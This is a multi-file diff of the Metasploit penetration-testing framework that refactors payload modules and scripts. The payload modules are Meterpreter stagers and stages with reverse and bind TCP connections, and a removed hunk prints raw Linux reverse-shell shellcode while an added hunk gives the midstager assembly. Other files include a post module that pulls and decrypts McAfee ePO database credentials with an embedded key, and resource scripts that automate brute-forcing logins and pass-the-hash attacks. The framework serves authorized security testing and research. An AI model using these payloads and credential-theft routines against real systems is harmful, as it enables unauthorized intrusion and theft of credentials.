View File

@ -5,15 +5,20 @@
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/windows/x64/stageless_meterpreter'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/windows/x64/meterpreter_loader'
require 'msf/base/sessions/meterpreter_x64_win'
require 'msf/base/sessions/meterpreter_options'
require 'rex/payloads/meterpreter/config'
module Metasploit4
CachedSize = :dynamic
CachedSize = 1102898
include Msf::Payload::Windows::StagelessMeterpreter_x64
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::Payload::Windows::MeterpreterLoader_x64
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
@ -35,8 +40,32 @@ module Metasploit4
end
def generate
url = "tcp://#{datastore['LHOST']}:#{datastore['LPORT']}"
generate_stageless_x64(url)
stage_meterpreter(true) + generate_config
end
def generate_config(opts={})
unless opts[:uuid]
opts[:uuid] = Msf::Payload::UUID.new(
platform: 'windows',
arch: ARCH_X64
)
end
# create the configuration block
config_opts = {
arch: opts[:uuid].arch,
exitfunk: datastore['EXITFUNC'],
expiration: datastore['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: [transport_config_reverse_tcp(opts)],
extensions: (datastore['EXTENSIONS'] || '').split(',')
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
end

View File

@ -10,7 +10,7 @@ require 'msf/core/payload/linux/bind_tcp'
module Metasploit4
CachedSize = :dynamic
CachedSize = 110
include Msf::Payload::Stager
include Msf::Payload::Linux::BindTcp
@ -19,7 +19,7 @@ module Metasploit4
super(merge_info(info,
'Name' => 'Bind TCP Stager (Linux x86)',
'Description' => 'Listen for a connection (Linux x86)',
'Author' => [ 'skape', 'egypt', ],
'Author' => [ 'skape', 'egypt' ],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X86,

View File

@ -6,83 +6,25 @@
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/linux/reverse_tcp'
module Metasploit4
###
#
# ReverseTcp
# ----------
#
# Linux reverse TCP stager.
#
###
module Metasploit3
CachedSize = 71
CachedSize = 193
include Msf::Payload::Stager
include Msf::Payload::Linux
include Msf::Payload::Linux::ReverseTcp
def initialize(info = {})
super(merge_info(info,
'Name' => 'Reverse TCP Stager',
'Description' => 'Connect back to the attacker',
'Author' => [
'skape', # original
'egypt', # NX support
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseTcp,
'Stager' =>
{
'Offsets' =>
{
'LHOST' => [ 0x12, 'ADDR' ],
'LPORT' => [ 0x19, 'n' ],
},
'Payload' =>
"\x31\xdb" +# xor ebx,ebx
"\xf7\xe3" +# mul ebx
"\x53" +# push ebx
"\x43" +# inc ebx
"\x53" +# push ebx
"\x6a\x02" +# push byte +0x2
"\xb0\x66" +# mov al,0x66
"\x89\xe1" +# mov ecx,esp
"\xcd\x80" +# int 0x80
"\x97" +# xchg eax,edi
"\x5b" +# pop ebx
"\x68\x7f\x00\x00\x01" +# push dword 0x100007f
"\x68\x02\x00\xbf\xbf" +# push dword 0xbfbf0002
"\x89\xe1" +# mov ecx,esp
"\x6a\x66" +# push byte +0x66
"\x58" +# pop eax
"\x50" +# push eax
"\x51" +# push ecx
"\x57" +# push edi
"\x89\xe1" +# mov ecx,esp
"\x43" +# inc ebx
"\xcd\x80" +# int 0x80
"\xb2\x07" +# mov dl,0x7
"\xb9\x00\x10\x00\x00" +# mov ecx,0x1000
"\x89\xe3" +# mov ebx,esp
"\xc1\xeb\x0c" +# shr ebx,0xc
"\xc1\xe3\x0c" +# shl ebx,0xc
"\xb0\x7d" +# mov al,0x7d
"\xcd\x80" +# int 0x80
"\x5b" +# pop ebx
"\x89\xe1" +# mov ecx,esp
"\x99" +# cdq
"\xb6\x0c" +# mov dh,0xc
"\xb0\x03" +# mov al,0x3
"\xcd\x80" +# int 0x80
"\xff\xe1" # jmp ecx
}
))
'Name' => 'Reverse TCP Stager',
'Description' => 'Connect back to the attacker',
'Author' => [ 'skape', 'egypt' ],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseTcp,
'Stager' => { 'Payload' => '' }))
end
end

View File

@ -10,7 +10,7 @@ require 'msf/core/payload/windows/bind_tcp'
module Metasploit4
CachedSize = :dynamic
CachedSize = 285
include Msf::Payload::Stager
include Msf::Payload::Windows::BindTcp

View File

@ -11,7 +11,7 @@ require 'msf/core/payload/windows/reverse_winhttp'
module Metasploit3
CachedSize = 327
CachedSize = 329
include Msf::Payload::Stager
include Msf::Payload::Windows

View File

@ -11,7 +11,7 @@ require 'msf/core/payload/windows/reverse_winhttps'
module Metasploit3
CachedSize = 347
CachedSize = 349
include Msf::Payload::Stager
include Msf::Payload::Windows

View File

@ -10,7 +10,7 @@ require 'msf/core/payload/windows/x64/bind_tcp'
module Metasploit4
CachedSize = :dynamic
CachedSize = 479
include Msf::Payload::Stager
include Msf::Payload::Windows::BindTcp_x64

View File

@ -5,12 +5,14 @@
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/handler/reverse_https'
module Metasploit3
CachedSize = 578
include Msf::Payload::TransportConfig
include Msf::Payload::Stager
include Msf::Payload::Windows
@ -91,6 +93,13 @@ module Metasploit3
))
end
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_https(opts)
end
#
# Do not transmit the stage over the connection. We handle this via HTTPS
#

View File

@ -10,7 +10,7 @@ require 'msf/core/payload/windows/x64/reverse_tcp'
module Metasploit4
CachedSize = :dynamic
CachedSize = 437
include Msf::Payload::Stager
include Msf::Payload::Windows::ReverseTcp_x64

View File

@ -8,17 +8,14 @@ require 'msf/base/sessions/meterpreter_x86_linux'
require 'msf/base/sessions/meterpreter_options'
require 'rex/elfparsey'
# Provides methods to patch options into the metsrv stager.
require 'rex/payloads/meterpreter/patch'
module Metasploit3
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux Meterpreter',
'Description' => 'Staged meterpreter server',
'Author' => ['PKS', 'egypt'],
'Description' => 'Inject the meterpreter server payload (staged)',
'Author' => ['PKS', 'egypt', 'OJ Reeves'],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'License' => MSF_LICENSE,
@ -35,6 +32,7 @@ module Metasploit3
return ep
end
=begin
def elf2bin(payload)
# XXX, not working. Use .c version
@ -64,31 +62,76 @@ module Metasploit3
print_status("Converted ELF file to memory layout, #{payload.length} to #{used} bytes")
return mem[0, used]
end
=end
def handle_intermediate_stage(conn, payload)
# Does a mmap() / read() loop of a user specified length, then
# jumps to the entry point (the \x5a's)
entry_offset = elf_ep(payload)
config_offset = payload.length - generate_meterpreter.length
midstager = "\x81\xc4\x54\xf2\xff\xff" # fix up esp
midstager <<
"\x6a\x04\x5a\x89\xe1\x89\xfb\x6a\x03\x58" +
"\xcd\x80\x57\xb8\xc0\x00\x00\x00\xbb\x00\x00\x04\x20\x8b\x4c\x24" +
"\x04\x6a\x07\x5a\x6a\x32\x5e\x31\xff\x89\xfd\x4f\xcd\x80\x3d\x7f" +
"\xff\xff\xff\x72\x05\x31\xc0\x40\xcd\x80\x87\xd1\x87\xd9\x5b\x6a" +
"\x03\x58\xcd\x80\x3d\x7f\xff\xff\xff\x77\xea\x85\xc0\x74\xe6\x01" +
"\xc1\x29\xc2\x75\xea\x6a\x59\x53\xb8\x5a\x5a\x5a\x5a\xff\xd0\xe9" +
"\xd1\xff\xff\xff"
# Patch in debug options
midstager = midstager.sub("Y", [ datastore['DebugOptions'] ].pack('C'))
# Patch entry point
midstager = midstager.sub("ZZZZ", [ elf_ep(payload) ].pack('V'))
encoded_entry = "0x%.8x" % entry_offset
encoded_offset = "0x%.8x" % config_offset
encoded_debug_options = "0x%.2x" % datastore['DebugOptions'].to_i
# Maybe in the future patch in base.
# Does a mmap() / read() loop of a user specified length, then
# jumps to the entry point (the \x5a's)
midstager_asm = %Q^
midstager:
and esp, 0xFFFFF254
push 0x4
pop edx
mov ecx, esp
mov ebx, edi
push 0x3
pop eax
int 0x80
push edi
mov eax, 0xC0
mov ebx, 0x20040000
mov ecx, dword ptr [esp+0x4]
push 0x7
pop edx
push 0x32
pop esi
xor edi, edi
mov ebp, edi
dec edi
int 0x80
cmp eax, 0xFFFFFF7F
jb start_read
terminate:
xor eax, eax
inc eax
int 0x80 ; sys_exit
start_read:
xchg ecx, edx
xchg ecx, ebx
pop ebx
read_loop:
push 0x3
pop eax
int 0x80 ; sys_read
cmp eax, 0xFFFFFF7F
ja terminate ; exit on error
test eax, eax
je terminate ; exit on error
add ecx, eax
sub edx, eax
jne read_loop ; read more
; edx should be at the end, but we need to adjust for the size of the config
; block so we know where to write the socket to memory
sub ecx, #{encoded_offset}
mov [ecx], ebx ; write the socket to the config
push #{encoded_debug_options}
push ecx ; pass in the configuration pointer
mov eax, #{encoded_entry} ; put the entry point in eax
call eax
jmp terminate
^
midstager = Metasm::Shellcode.assemble(Metasm::X86.new, midstager_asm).encode_string
print_status("Transmitting intermediate stager for over-sized stage...(#{midstager.length} bytes)")
conn.put(midstager)
Rex::ThreadSafe.sleep(1.5)
@ -100,14 +143,40 @@ module Metasploit3
end
def generate_stage
blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin')
meterpreter = generate_meterpreter
config = generate_config
meterpreter + config
end
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(blob,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i)
def generate_meterpreter
blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin')
blob
end
def generate_config(opts={})
unless opts[:uuid]
opts[:uuid] = Msf::Payload::UUID.new({
:platform => 'linux',
:arch => ARCH_X86
})
end
# create the configuration block, which for staged connections is really simple.
config_opts = {
:arch => opts[:uuid].arch,
:exitfunk => nil,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:uuid => opts[:uuid],
:transports => [transport_config(opts)],
:extensions => [],
:ascii_str => true
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
end

View File

@ -5,19 +5,21 @@
require 'msf/core'
require 'msf/core/payload/windows/reflectivedllinject'
require 'msf/core/payload/windows/meterpreter_loader'
require 'msf/base/sessions/meterpreter_x86_win'
require 'msf/base/sessions/meterpreter_options'
require 'rex/payloads/meterpreter/config'
###
#
# Injects the meterpreter server DLL via the Reflective Dll Injection payload
# along with transport related configuration.
#
###
module Metasploit3
module Metasploit4
include Msf::Payload::Windows::ReflectiveDllInject
include Msf::Payload::Windows::MeterpreterLoader
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
@ -28,14 +30,35 @@ module Metasploit3
'PayloadCompat' => { 'Convention' => 'sockedi', },
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_x86_Win))
# Don't let people set the library name option
options.remove_option('LibraryName')
options.remove_option('DLL')
end
def library_path
MetasploitPayloads.meterpreter_path('metsrv','x86.dll')
def stage_payload(opts={})
stage_meterpreter + generate_config(opts)
end
def generate_config(opts={})
unless opts[:uuid]
opts[:uuid] = Msf::Payload::UUID.new({
:platform => 'windows',
:arch => ARCH_X86
})
end
# create the configuration block, which for staged connections is really simple.
config_opts = {
:arch => opts[:uuid].arch,
:exitfunk => datastore['EXITFUNC'],
:expiration => datastore['SessionExpirationTimeout'].to_i,
:uuid => opts[:uuid],
:transports => [transport_config(opts)],
:extensions => []
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
end

View File

@ -5,37 +5,60 @@
require 'msf/core'
require 'msf/core/payload/windows/x64/reflectivedllinject'
require 'msf/core/payload/windows/x64/meterpreter_loader'
require 'msf/base/sessions/meterpreter_x64_win'
require 'msf/base/sessions/meterpreter_options'
require 'rex/payloads/meterpreter/config'
###
#
# Injects the x64 meterpreter server DLL via the Reflective Dll Injection payload
# along with transport related configuration.
#
###
module Metasploit3
module Metasploit4
include Msf::Payload::Windows::ReflectiveDllInject_x64
include Msf::Payload::Windows::MeterpreterLoader_x64
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Meterpreter (Reflective Injection x64)',
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64)',
'Author' => [ 'sf' ],
'Author' => ['skape','sf', 'OJ Reeves'],
'PayloadCompat' => { 'Convention' => 'sockrdi', },
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_x64_Win))
# Don't let people set the library name option
options.remove_option('LibraryName')
options.remove_option('DLL')
end
def library_path
MetasploitPayloads.meterpreter_path('metsrv','x64.dll')
def stage_payload(opts={})
stage_meterpreter + generate_config(opts)
end
def generate_config(opts={})
unless opts[:uuid]
opts[:uuid] = Msf::Payload::UUID.new({
:platform => 'windows',
:arch => ARCH_X64
})
end
# create the configuration block, which for staged connections is really simple.
config_opts = {
:arch => opts[:uuid].arch,
:exitfunk => datastore['EXITFUNC'],
:expiration => datastore['SessionExpirationTimeout'].to_i,
:uuid => opts[:uuid],
:transports => [transport_config(opts)],
:extensions => []
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
end

View File

@ -5,7 +5,7 @@
require 'msf/core'
require 'rex'
require "net/dns/resolver"
require 'net/dns/resolver'
require 'msf/core/auxiliary/report'
class Metasploit3 < Msf::Post
@ -30,20 +30,20 @@ class Metasploit3 < Msf::Post
def run
# Find out where things are installed
print_status("Finding Tomcat install path...")
subkeys = registry_enumkeys("HKLM\\Software\\Network Associates\\ePolicy Orchestrator")
print_status('Finding Tomcat install path...')
subkeys = registry_enumkeys('HKLM\Software\Network Associates\ePolicy Orchestrator',REGISTRY_VIEW_32_BIT)
if subkeys.nil? or subkeys.empty?
print_error ("ePO 4.6 Not Installed or No Permissions to RegKey")
print_error ('ePO 4.6 Not Installed or No Permissions to RegKey')
return
end
# Get the db.properties file location
epol_reg_key = "HKLM\\Software\\Network Associates\\ePolicy Orchestrator"
dbprops_file = registry_getvaldata(epol_reg_key, "TomcatFolder")
if dbprops_file == nil or dbprops_file == ""
print_error("Could not find db.properties file location")
epol_reg_key = 'HKLM\Software\Network Associates\ePolicy Orchestrator'
dbprops_file = registry_getvaldata(epol_reg_key, 'TomcatFolder',REGISTRY_VIEW_32_BIT)
if dbprops_file == nil or dbprops_file == ''
print_error('Could not find db.properties file location')
else
dbprops_file << "/conf/orion/db.properties";
print_good("Found db.properties location");
dbprops_file << '/conf/orion/db.properties';
print_good('Found db.properties location');
process_config(dbprops_file);
end
end
@ -57,39 +57,39 @@ class Metasploit3 < Msf::Post
line.chomp
line_array = line.split('=')
case line_array[0]
when "db.database.name"
database_name = ""
when 'db.database.name'
database_name = ''
line_array[1].each_byte { |x| database_name << x unless x > 126 || x < 32 }
when "db.instance.name"
database_instance = ""
when 'db.instance.name'
database_instance = ''
line_array[1].each_byte { |x| database_instance << x unless x > 126 || x < 32 }
when "db.user.domain"
user_domain = ""
when 'db.user.domain'
user_domain = ''
line_array[1].each_byte { |x| user_domain << x unless x > 126 || x < 32 }
when "db.user.name"
user_name = ""
when 'db.user.name'
user_name = ''
line_array[1].each_byte { |x| user_name << x unless x > 126 || x < 32 }
when "db.port"
port = ""
when 'db.port'
port = ''
line_array[1].each_byte { |x| port << x unless x > 126 || x < 32 }
when "db.user.passwd.encrypted.ex"
when 'db.user.passwd.encrypted.ex'
# ePO 4.6 encrypted password
passwd = ""
passwd = ''
line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 }
passwd.gsub("\\","")
passwd.gsub('\\','')
# Add any Base64 padding that may have been stripped out
passwd << "=" until ( passwd.length % 4 == 0 )
passwd << '=' until ( passwd.length % 4 == 0 )
plaintext_passwd = decrypt46(passwd)
when "db.user.passwd.encrypted"
when 'db.user.passwd.encrypted'
# ePO 4.5 encrypted password - not currently supported, see notes below
passwd = ""
passwd = ''
line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 }
passwd.gsub("\\","")
passwd.gsub('\\','')
# Add any Base64 padding that may have been stripped out
passwd << "=" until ( passwd.length % 4 == 0 )
plaintext_passwd = "PASSWORD NOT RECOVERED - ePO 4.5 DECRYPT SUPPORT IS WIP"
when "db.server.name"
database_server_name = ""
passwd << '=' until ( passwd.length % 4 == 0 )
plaintext_passwd = 'PASSWORD NOT RECOVERED - ePO 4.5 DECRYPT SUPPORT IS WIP'
when 'db.server.name'
database_server_name = ''
line_array[1].each_byte { |x| database_server_name << x unless x > 126 || x < 32 }
end
end
@ -98,7 +98,7 @@ class Metasploit3 < Msf::Post
result = client.net.resolve.resolve_host(database_server_name)
if result[:ip].nil? or result[:ip].empty?
print_error("Could not determine IP of DB - credentials not added to report database")
print_error('Could not determine IP of DB - credentials not added to report database')
return
end
@ -111,11 +111,11 @@ class Metasploit3 < Msf::Post
print_good("Database IP: #{db_ip}")
end
print_good("Port: #{port}")
if user_domain == nil or user_domain == ""
print_good("Authentication Type: SQL");
if user_domain == nil or user_domain == ''
print_good('Authentication Type: SQL');
full_user = user_name
else
print_good("Authentication Type: Domain");
print_good('Authentication Type: Domain');
print_good("Domain: #{user_domain}");
full_user = "#{user_domain}\\#{user_name}"
end
@ -127,8 +127,8 @@ class Metasploit3 < Msf::Post
service_data = {
address: Rex::Socket.getaddress(db_ip),
port: port,
protocol: "tcp",
service_name: "mssql",
protocol: 'tcp',
service_name: 'mssql',
workspace_id: myworkspace_id
}
@ -145,21 +145,21 @@ class Metasploit3 < Msf::Post
login_data = {
core: credential_core,
access_level: "User",
access_level: 'User',
status: Metasploit::Model::Login::Status::UNTRIED
}
create_credential_login(login_data.merge(service_data))
print_good("Added credentials to report database")
print_good('Added credentials to report database')
else
print_error("Could not determine IP of DB - credentials not added to report database")
print_error('Could not determine IP of DB - credentials not added to report database')
end
end
def decrypt46(encoded)
encrypted_data = Rex::Text.decode_base64(encoded)
aes = OpenSSL::Cipher::Cipher.new("AES-128-ECB")
aes = OpenSSL::Cipher::Cipher.new('AES-128-ECB')
aes.padding = 0
aes.decrypt
# Private key extracted from ePO 4.6.0 Build 1029
@ -172,6 +172,5 @@ class Metasploit3 < Msf::Post
password.gsub!(/[^[:print:]]/,'')
return password
end
end

View File

@ -58,7 +58,8 @@ require 'msf/core/payload_generator'
opt.separator('')
opt.separator('Options:')
opt.on('-p', '--payload <payload>', String, 'Payload to use. Specify a \'-\' or stdin to use custom payloads') do |p|
opt.on('-p', '--payload <payload>', String,
'Payload to use. Specify a \'-\' or stdin to use custom payloads') do |p|
if p == '-'
opts[:payload] = 'stdin'
else
@ -66,50 +67,67 @@ require 'msf/core/payload_generator'
end
end
opt.on('-l', '--list [module_type]', Array, 'List a module type. Options are: payloads, encoders, nops, all') do |l|
opt.on('--payload-options', "List the payload's standard options") do
opts[:list_options] = true
end
opt.on('-l', '--list [type]', Array, 'List a module type. Options are: payloads, encoders, nops, all') do |l|
if l.nil? or l.empty?
l = ["all"]
end
opts[:list] = l
end
opt.on('-n', '--nopsled <length>', Integer, 'Prepend a nopsled of [length] size on to the payload') do |n|
opt.on('-n', '--nopsled <length>', Integer, 'Prepend a nopsled of [length] size on to the payload') do |n|
opts[:nops] = n.to_i
end
opt.on('-f', '--format <format>', String, "Output format (use --help-formats for a list)") do |f|
opt.on('-f', '--format <format>', String, "Output format (use --help-formats for a list)") do |f|
opts[:format] = f
end
opt.on('-e', '--encoder [encoder]', String, 'The encoder to use') do |e|
opt.on('--help-formats', String, "List available formats") do
init_framework(:module_types => [])
msg = "Executable formats\n" +
"\t" + ::Msf::Util::EXE.to_executable_fmt_formats.join(", ") + "\n" +
"Transform formats\n" +
"\t" + ::Msf::Simple::Buffer.transform_formats.join(", ")
raise UsageError, msg
end
opt.on('-e', '--encoder <encoder>', String, 'The encoder to use') do |e|
opts[:encoder] = e
end
opt.on('-a', '--arch <architecture>', String, 'The architecture to use') do |a|
opt.on('-a', '--arch <arch>', String, 'The architecture to use') do |a|
opts[:arch] = a
end
opt.on('--platform <platform>', String, 'The platform of the payload') do |l|
opt.on('--platform <platform>', String, 'The platform of the payload') do |l|
opts[:platform] = l
end
opt.on('-s', '--space <length>', Integer, 'The maximum size of the resulting payload') do |s|
opt.on('-s', '--space <length>', Integer, 'The maximum size of the resulting payload') do |s|
opts[:space] = s
end
opt.on('-b', '--bad-chars <list>', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b|
opt.on('--encoder-space <length>', Integer, 'The maximum size of the encoded payload (defaults to the -s value)') do |s|
opts[:encoder_space] = s
end
opt.on('-b', '--bad-chars <list>', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b|
opts[:badchars] = Rex::Text.hex_to_raw(b)
end
opt.on('-i', '--iterations <count>', Integer, 'The number of times to encode the payload') do |i|
opt.on('-i', '--iterations <count>', Integer, 'The number of times to encode the payload') do |i|
opts[:iterations] = i
end
opt.on('-c', '--add-code <path>', String, 'Specify an additional win32 shellcode file to include') do |x|
opt.on('-c', '--add-code <path>', String, 'Specify an additional win32 shellcode file to include') do |x|
opts[:add_code] = x
end
opt.on('-x', '--template <path>', String, 'Specify a custom executable file to use as a template') do |x|
opt.on('-x', '--template <path>', String, 'Specify a custom executable file to use as a template') do |x|
opts[:template] = x
end
@ -117,15 +135,11 @@ require 'msf/core/payload_generator'
opts[:keep] = true
end
opt.on('--payload-options', "List the payload's standard options") do
opts[:list_options] = true
end
opt.on('-o', '--out <path>', 'Save the payload') do |x|
opt.on('-o', '--out <path>', 'Save the payload') do |x|
opts[:out] = x
end
opt.on('-v', '--var-name <name>', String, 'Specify a custom variable name to use for certain output formats') do |x|
opt.on('-v', '--var-name <name>', String, 'Specify a custom variable name to use for certain output formats') do |x|
opts[:var_name] = x
end
@ -133,15 +147,6 @@ require 'msf/core/payload_generator'
raise UsageError, "#{opt}"
end
opt.on_tail('--help-formats', String, "List available formats") do
init_framework(:module_types => [])
msg = "Executable formats\n" +
"\t" + ::Msf::Util::EXE.to_executable_fmt_formats.join(", ") + "\n" +
"Transform formats\n" +
"\t" + ::Msf::Simple::Buffer.transform_formats.join(", ")
raise UsageError, msg
end
begin
opt.parse!(args)
rescue OptionParser::InvalidOption => e

View File

@ -19,7 +19,7 @@ module Msf
class ConsoleCommandDispatcher
include Msf::Ui::Console::CommandDispatcher
def name
PLUGIN_NAME
end
@ -35,11 +35,11 @@ module Msf
def msf_local
"#{Msf::Config.local_directory}"
end
def cmd_nessus_index
nessus_index
end
def commands
{
"nessus_connect" => "Connect to a nessus server: nconnect username:password@hostname:port <verify_ssl>",
@ -81,7 +81,7 @@ module Msf
"nessus_folder_list" => "List folders configured on the Nessus server",
"nessus_scanner_list" => "List the configured scanners on the Nessus server",
"nessus_family_list" => "List all the plugin families along with their corresponding family IDs and plugin count"
}
}
end
def cmd_nessus_help(*args)
@ -111,7 +111,7 @@ module Msf
tbl << [ "nessus_db_import", "Import Nessus scan to the Metasploit connected database" ]
tbl << [ "", ""]
tbl << [ "Reports Commands", "" ]
tbl << [ "-----------------", "-----------------"]
tbl << [ "-----------------", "-----------------"]
tbl << [ "nessus_report_hosts", "Get list of hosts from a report" ]
tbl << [ "nessus_report_vulns", "Get list of vulns from a report" ]
tbl << [ "nessus_report_host_details", "Get detailed information from a report item on a host" ]
@ -205,7 +205,7 @@ module Msf
total = Time.now - start
print_status("It has taken : #{total} seconds to build the exploits search index")
end
def nessus_index
if File.exist?("#{xindex}")
#check if it's version line matches current version.
@ -247,7 +247,7 @@ module Msf
return
end
end
if args[0] == "-h"
print_status("%redYou must do this before any other commands.%clr")
print_status("Usage: ")
@ -259,7 +259,7 @@ module Msf
print_status("use a self signed certificate, therefore, users should use ssl_ignore.")
return
end
if !@token == ''
print_error("You are already authenticated. Call nessus_logout before authenticating again")
return
@ -268,7 +268,7 @@ module Msf
ncusage
return
end
@user = @pass = @host = @port = @sslv = nil
case args.length
when 1,2
@ -647,7 +647,7 @@ module Msf
print_line("IP Address: #{details['info']['host-ip']}")
print_line("Hostname: #{details['info']['host-name']}")
print_line("Operating System: #{details['info']['operating-system']}")
print_line
print_line
print_status("Vulnerability information")
details["vulnerabilities"].each { |vuln|
tbl << [ vuln["plugin_name"], vuln["plugin_family"], vuln["severity"] ]
@ -684,7 +684,7 @@ module Msf
report = @n.report_download(scan_id, file_id)
File.open("#{msf_local}/#{scan_id}-#{file_id}","w+") do |f|
f.puts report
print_status("Report downloaded to #{msf_local} directory")
print_status("Report downloaded to #{msf_local} directory")
end
else
print_error("Only completed scans ca be downloaded")
@ -799,7 +799,7 @@ module Msf
'Status',
'Folder'
])
list["scans"].each { |scan|
if args[0] == "-r"
if scan["status"] == "running"
@ -1010,11 +1010,11 @@ module Msf
end
else
print_error(export)
end
end
else
print_error("Only completed scans could be used for import")
end
end
def is_scan_complete(scan_id)

View File

@ -58,24 +58,24 @@ framework.db.creds.each do |creds|
next if not serv.host
next if (serv.state != Msf::ServiceState::Open)
# for now we only check these services, you can add some more ...
next if not (serv.name =~ /smb/ or
serv.name =~ /microsoft-ds/ or
serv.name =~ /netbios-ssn/ or
serv.name =~ /ftp/ or
serv.name =~ /ssh/ or
serv.name =~ /telnet/ or
serv.name =~ /mysql/ or
serv.name =~ /vnc/ or
serv.name =~ /mssql/ or
serv.name =~ /pop3/ or
next if not (serv.name =~ /smb/ or
serv.name =~ /microsoft-ds/ or
serv.name =~ /netbios-ssn/ or
serv.name =~ /ftp/ or
serv.name =~ /ssh/ or
serv.name =~ /telnet/ or
serv.name =~ /mysql/ or
serv.name =~ /vnc/ or
serv.name =~ /mssql/ or
serv.name =~ /pop3/ or
serv.name =~ /postgres/)
xport = serv.port.to_i
xprot = serv.proto
xname = serv.name
xhost = host.address
xhost = host.address
if(xname =~ /smb/ or xname =~ /microsoft-ds/ or xname =~ /netbios-ssn/)
if(xname =~ /smb/ or xname =~ /microsoft-ds/ or xname =~ /netbios-ssn/)
print_line("smb_login")
if(verbose == 1)
infos(serv,creds,host)

View File

@ -9,8 +9,8 @@
<ruby>
#psexec needs a payload
if framework.datastore['PAYLOAD']
pload = framework.datastore['PAYLOAD']
if framework.datastore['PAYLOAD']
pload = framework.datastore['PAYLOAD']
else #just to get sure that we have a backup payload
pload = "windows/meterpreter/bind_tcp"
end
@ -59,7 +59,7 @@ framework.db.creds.each do |creds| # just checking if we have any smb_hashes in
if (jotr == 1)
# first checking weak windows hashes with john ... because of the filtering before, we are sure that
# this is a windows hash
# this is a windows hash
# on the first found hash we are going to analyse all hashes - then we set jotr to 0
print_line("using jtr_crack_fast")
@ -74,14 +74,14 @@ framework.db.creds.each do |creds| # just checking if we have any smb_hashes in
smbhash = creds.pass
username = creds.user
framework.db.hosts.each do |host|
next if (host.os_name !~ /Windows/) # pass the hash works just for Win
host.services.each do |serv|
next if not serv.host
next if (serv.state != Msf::ServiceState::Open)
next if (serv.name !~ /smb/)
next if (serv.name !~ /smb/)
print_line("using psexec - Pass the hash")
if(verbose == 1)

View File

@ -36,7 +36,7 @@ framework.db.workspace.hosts.each do |host|
next if not serv.host
next if (serv.state != Msf::ServiceState::Open)
next if (serv.name !~ /http/)
if(verbose == 1)
print_line("IP: #{host.address}")
print_line("OS: #{host.os_name}")

View File

@ -109,7 +109,7 @@ print_line("starting discovery scanners ... stage 2")
print_line("============================================")
print_line("")
run_single("unsetg RHOSTS") # we dont need it anymore
run_single("unsetg RHOSTS") # we dont need it anymore
framework.db.workspace.hosts.each do |host|
host.services.each do |serv|
@ -416,7 +416,7 @@ framework.db.workspace.hosts.each do |host|
end
if (serv.name =~ /http/ or serv.port == 80 or serv.port == 443)
if(versionscanners == 1 or serv.name == nil)
print_line("Module: http_version")
run_single("use auxiliary/scanner/http/http_version")
@ -700,7 +700,7 @@ framework.db.workspace.hosts.each do |host|
jobwaiting(maxjobs,verbose)
end
end
if (serv.port == 7777)
print_line("Module: energizer_duo_detect")
run_single("use auxiliary/scanner/backdoor/energizer_duo_detect")

View File

@ -24,9 +24,9 @@ end
#we look in the global datastore for a global VERBOSE option and use it
if (framework.datastore['VERBOSE'] == "true")
verbose = 1
verbose = 1
else
verbose = 0
verbose = 0
end
if (framework.plugins.to_s =~ /[Ww]map/)

View File

@ -61,7 +61,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do
context '#with_connection' do
def reserved_connection_count
connection_pool.instance_variable_get(:@reserved_connections).length
connection_pool.instance_variable_get(:@reserved_connections).size
end
let(:connection_id) do

Some files were not shown because too many files have changed in this diff Show More